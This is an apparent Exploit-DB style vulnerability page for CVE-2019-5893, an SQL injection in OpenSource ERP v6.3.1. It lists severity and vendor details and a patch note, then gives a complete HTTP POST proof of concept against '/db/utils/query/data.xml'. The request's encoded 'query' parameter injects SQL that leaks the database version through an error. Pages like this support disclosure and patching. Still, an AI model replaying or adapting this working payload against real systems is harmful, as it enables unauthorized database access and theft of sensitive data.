OpenSource ERP SQL Injection

vendor:

OpenSource ERP

by:

Emre ÖVÜNÇ

9.8

CVSS

CRITICAL

SQL Injection

CWE

Product Name: OpenSource ERP

Affected Version From: v6.3.1

Affected Version To: v6.3.1

Patch Exists: YES

Related CWE: CVE-2019-5893

CPE: a:nelson_it:opensource_erp

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows

2019

OpenSource ERP SQL Injection

A SQL injection vulnerability exists in OpenSource ERP v6.3.1, which allows an attacker to execute arbitrary SQL commands via the 'sqlend' parameter in a 'data.xml' POST request to the '/db/utils/query/' path. This can be exploited to gain access to the underlying database and potentially gain access to sensitive information.

Mitigation:

The vendor has released a patch to address this vulnerability.

Source

Exploit-DB raw data:

#Exploit Title: OpenSource ERP SQL Injection
#Date: 10.01.2019
#Exploit Author: Emre ÖVÜNÇ
#Vendor Homepage: http://www.nelson-it.ch
#Software Link: http://sourceforge.net/projects/opensourceerp/files/Windows/erp_6.3.1.exe/download
#Version: v6.3.1
#Tested on: Windows

# CVE-2019-5893
https://github.com/EmreOvunc/OpenSource-ERP-SQL-Injection
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5893
https://www.emreovunc.com/blog/en/OpenERP-SQL-DBversion.png

# PoC

POST /db/utils/query/data.xml HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Origin: http://172.16.118.142:8024
Referer: http://172.16.118.142:8024/
Cache-Control: no-cache
Accept-Language: en-us,en;q=0.5
Cookie: MneHttpSessionId8024=15471285865828
Host: 172.16.118.142:8024
Content-Length: 414
Accept-Encoding: gzip, deflate
Connection: close

sqlend=1&query=%27%7c%7ccast((select+chr(95)%7c%7cchr(33)%7c%7cchr(64)%7c%7c(SELECT+VERSION())%7c%7cchr(95)%7c%7cchr(33)%7c%7cchr(64))+as+numeric)%7c%7c%27&schema=mne_application&table=userpref&cols=startweblet%2cregion%2cmslanguage%2cusername%2cloginname%2cpersonid%2clanguage%2cregionselect%2ctimezone%2ccountrycarcode%2cstylename%2cusername%2cstartwebletname&usernameInput.old=session_user&mneuserloginname=test